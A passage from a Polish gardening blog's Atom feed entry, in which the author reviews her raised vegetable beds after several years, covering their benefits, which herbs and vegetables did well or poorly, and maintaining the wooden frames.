Nie braknie także szczypiorku i natki pietruszki, która już wypuściła pierwsze liście. W tym roku z pewnością nie wykiełkują pozostałe z ubiegłego roku pomidorki koktajlowe, ponieważ przekopałam ziemię dodając do niej kompostu z przydomowego kompostownika. Wszystko się ładnie rozłożyło i może posłużyć jakoś żyzny dodatek. Ziemię oczywiście co roku oczyszczam z korzeni i suchych liści, aby nie pojawił się w niej grzyb. Szczególnie truskawki mocno mogą to odchorować, choć nie tylko one.&lt;br /&gt;
&lt;br /&gt;
Po paru latach całkowicie amatorskich obserwacji, bo nasze grządki to tylko dodatek do małego ogrodu, kompromis i namiastka tego co lubię. Podwyższenie grządek to przede wszystkim komfort.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://c1.staticflickr.com/3/2949/33831783191_0b46d8a830_h.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://c1.staticflickr.com/3/2949/33831783191_0b46d8a830_h.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Po pierwsze są łatwe do upilnowania i porządkowania.&lt;br /&gt;
Po drugie nie muszę tak walczyć ze ślimakami, ponieważ nie chce się im wchodzić po szorstkich ścianach. W najgorszym roku, kiedy była wręcz plaga tych stworzeń obsypywałam zewnętrzne krawędzie ścieżki dookoła grządek nie ingerując w ziemię, w której rosną kuszące je przysmaki.&lt;br /&gt;
Po trzecie mam możliwość kontroli jakości ziemi w grządce. Od samego początku jest to ziemia kupiona pod warzywa, a nie gliniasta, nieprzepuszczalna i twarda - jak ta, którą mamy tu wszędzie.&lt;br /&gt;
Po czwarte są idealne dla dzieci, które uczą się dbania o własny mini ogródek. Z radością obserwują dojrzewające na nich warzywa i owoce, a nawet ukradkiem podszczypują szczypiorek czy też inne aromatyczne zioła.&lt;br /&gt;
Po piąte mogę na nich stworzyć mini inspekty, dzięki którym w ubiegłym roku już w maju cieszyliśmy się pyszną młodą marchewką bez pestycydów. &lt;br /&gt;
Po szóste zawsze wyglądają ładnie. Drewno ma swój urok i nawet takie zmęczone przez słońce i deszcz nadal prezentuje się uroczo.&lt;br /&gt;
Po siódme nie trzeba ich plewić. Sporadycznie wyrasta na nich jakaś nieproszona roślinka zasadzona przez przelatujące ptaki.&lt;br /&gt;
Po ósme możesz dopasować ich wygląd do reszty ogrodu i stworzyć przepiękny i użyteczny zakątek na przydomowe uprawy.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Podwyższone grządki - co uprawiać?&amp;nbsp;&lt;/h3&gt;
W takim typie uprawy sprawdzą się wszelkiego rodzaju &lt;b&gt;zioła &lt;/b&gt;odporne na mrozy. Z powodzeniem od początku założenia grządek odrasta oregano, tymianek, szczypiorek, mięta i natka pietruszki. Cztery pierwsze zasadzone z lenistwa z marketowych sadzonek kupionych na stoisku z warzywami. Jak widać wcale nie trzeba się dużo wysilać, aby mieć własny zielnik. Niemniej trzeba uważać na to jak te zioła z roku na rok się rozrastają. Szałwię musieliśmy eksmitować już po roku, bo przeobraziła się w pokaźnej wielkości krzak i zajęła 1/4 powierzchni grządki. Teraz dumnie stoi przed domem. Podobnie oregano i mięta są ziołami, które wyróżniają się dużą ekspansją. Oregano rozrasta się jak kobierzec zwiększając swoją powierzchnię z miesiąca na i miesiąc. Zaś mięta wypuszcza podziemne kłącza, dzięki którym nowe odrosty pojawiają się niespodziewanie w różnych miejscach grządki. Łatwo jest opanować szczypiorek i natkę, które stronią od dominacji i niespodzianek. Wszystkie zioła są dostępne od wczesnej wiosny do wczesnej zimy - właściwie to do pierwszych mocniejszych śniegów.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pomidorki koktajlowe&lt;/b&gt; - najlepiej odmiany odporne na zarazę ziemniaczaną np. koralik - która zaoszczędzi nam zmartwień i uchroni przed koniecznością oprysków i ratowania roślin. Z racji tego, że tuż za siatką mamy pole uprawne (na zmianę pszenica i kukurydza) a całkiem niedaleko rok w rok spory obszar pola z uprawą ziemniaków już po roku przerzuciłam się na pomidorki koktajlowe. Są bezproblemowe. Ich okres wegetacji jest długi. Na grządce mam ok. 8 krzaczków i starcza nam to w okresie letnim na całkowite pokrycie popytu związanego z podjadaniem pomidorków przez dzieci a także do gotowania tak lubianych przez nas makaronów z prostymi włoskimi dodatkami i (właśnie) pomidorkami.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Truskawki &lt;/b&gt;są na grządce tylko dodatkiem dla dzieci. Nie ma z nich wielu owoców, bo mamy je zaledwie w połowie jednej grządki, ale zawsze można coś sobie smacznego urwać. Z racji tego, że sezon na truskawki trwa krótko nie należą do moich grządkowych faworytów.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Marchewka &lt;/b&gt;tę siała w ubiegłym roku w pierwszy słoneczny dzień lutego. Zwariowałam? Możliwe, ale już w maju pod agrowłókniną mieliśmy pyszną młodą marchewkę, którą sukcesywnie zajadaliśmy do jesieni. Na samą myśl o jej smaku aż ślinka cieknie. Mniam!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zielony słodki groszek &lt;/b&gt;jeśli lubicie świeże dodatki do sałatek i zup to strzał w dziesiątkę. Dla mnie to także powrót do dzieciństwa. Moja babcia siała groszek, którym zajadałam się przesiadując wśród grządek :)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Buraki&lt;/b&gt; na podwyższonej grządce potrzebują dobrego nawodnienia i więcej uwagi. Niestety zasiałam je przed strasznie suchym latem. Nie miałam czasu na doglądanie ich, ale z założenie miały posłużyć jako źródło młodej botwiny. Sprawdziło się. Z samych korzeni niewiele udało się zrobić, gdyż były małe.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fenkuł &lt;/b&gt;niestety nie wstrzeliłam się z odpowiednim okresem wegetacji. Zasiałam go wcześniej, aby zdążył urosnąć, jednak w ubiegłym roku pod koniec wakacji szybko nastały zimne i mało słoneczne dni. Rośliny przestały rosnąć i jedyne co się przydało przed tym, jak z niecierpliwością czekała na bulwy to nać. Szkoda, bo bardzo lubimy koper włoski. Być może jeszcze raz spróbuję i tym razem szczęście dopisze.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Cukinie &lt;/b&gt;co prawda nie trzymam ich na grządce, a jedynie zasiewam do wstępnego wzrostu. Widać jednak że stanowisko to dobrze im służy i z pewnością podobałoby się im na podwyższeniu przez cały okres wegetacji. Niestety są to rośliny duże i ekspansywne (zależy to także od odmiany) dlatego jak tylko podrosną osiągając 3-4 liście wysadzam je do ziemi w innym regionie ogrodu. Dzięki temu mają szansę przeżyć i nie padają ofiarą ślimaków.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Bakłażany &lt;/b&gt;udało mi się je wyhodować i nawet mieliśmy kilka sztuk. Niestety jak się później dowiedziałam to warzywa, które lubią jeść szkodniki. Mieliśmy na nich stonki, gąsienice i inne ustrojstwa. Pod koniec lata dowiedziałam się od kolegi mojego męża, że są trudne w uprawie i jemu nigdy nie udało się osiągnąć z uprawy żadnych zbiorów... Chyba powinnam się cieszyć ;)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Bazylia sałatowa &lt;/b&gt;to istny must-have. Mięsiste liście, solidne rośliny i super aromat. Idealna do sałatek. Doskonała w uprawie. Jedyny minus to to, że nie tylko my ją kochamy - trzeba uważać na owady.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Podwyższone grządki - konserwacja&lt;/h4&gt;
&lt;div&gt;
W tym roku konieczna będzie zewnętrzna impregnacja drewna, z którego zbudowane są grządki. Niestety stoją w takim miejscu, że są niemal przez cały dzień w słońcu, a gdy przychodzą zimniejsze dni drewno smagane jest deszczem, wiatrem i śniegiem. Dlatego będę rozglądać się za czymś bardziej odpornym na warunki atmosferyczne. Miałam nadzieję, że zastosowana na placu zabaw lazura okaże się wytrzymalsza niż zwykły impregnat, ale tam również konieczna będzie renowacja wielu elementów.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Z pozytywnych rzeczy - ciągle jeszcze utrzymuje się wewnątrz wyścielona agrowłóknina. Myślałam, że szybko postrzępi się i będzie wyglądać brzydko, ale wcale tak nie jest.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://aleksandraw.blogspot.com/feeds/7193161374633154250/comments/default' title='Komentarze do posta'/><link rel='replies' type='text/html' href='http://aleksandraw.blogspot.com/2017/04/podwyzszone-grzadki-po-kilku-latach.html#comment-form' title='Komentarze (1)'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/7193161374633154250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8139664493722864274/posts/default/7193161374633154250'/><link rel='alternate' type='text/html' href='http://aleksandraw.blogspot.com/2017/04/podwyzszone-grzadki-po-kilku-latach.html' title='Podwyższone grządki po kilku latach'/><author><name>odkuchni</name><uri>http://www.blogger.com/profile/11458404234349555482</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLMDiIweW3DGW8mlszARqoCJebfoJTayHj-Zox5uh3Jv-TitcaRGt2wuffPKBqBaBIiZNmvK4atRoRCpPN0ISqoEEevqT5sJylshxi6fESrzYJuz2gxPDAek2F4QScNN9u_-bcZPMSF0s/s72-c/IMG_20170403_161226.jpg" height="72" width="72"/><thr:total>1</thr:total></entry></feed>